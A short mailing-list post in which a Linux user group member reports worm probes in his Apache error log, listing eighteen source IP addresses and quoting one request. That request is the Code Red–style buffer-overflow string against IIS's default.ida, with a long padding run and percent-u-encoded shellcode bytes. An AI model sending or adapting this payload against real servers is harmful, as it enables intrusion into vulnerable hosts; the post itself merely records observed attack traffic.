[olug] Worms!

[Chris Garrity]

	My Apache error_log shows 18 such malformed header requests for July 19, from
these IPs:

                131.211.40.39
                136.142.78.6
                141.45.22.208
                165.229.74.168
                193.2.92.189
                202.110.167.100
                202.181.220.120
                202.66.146.103
                203.106.50.106
                209.196.77.132
                210.150.10.64
                211.114.174.253
                211.39.35.231
                211.42.161.29
                216.39.154.43
                38.193.12.194
                64.170.189.57
                64.23.81.237

	And they all look like this:

		GET /default.ida?NNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%
u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u5
31b%u53ff%u0078%u0000%u00=a  HTTP/1.0

	Some bag of worms :-)

---------------------------------------------------------------------
To unsubscribe, e-mail: olug-unsubscribe at bstc.net
For additional commands, e-mail: olug-help at bstc.net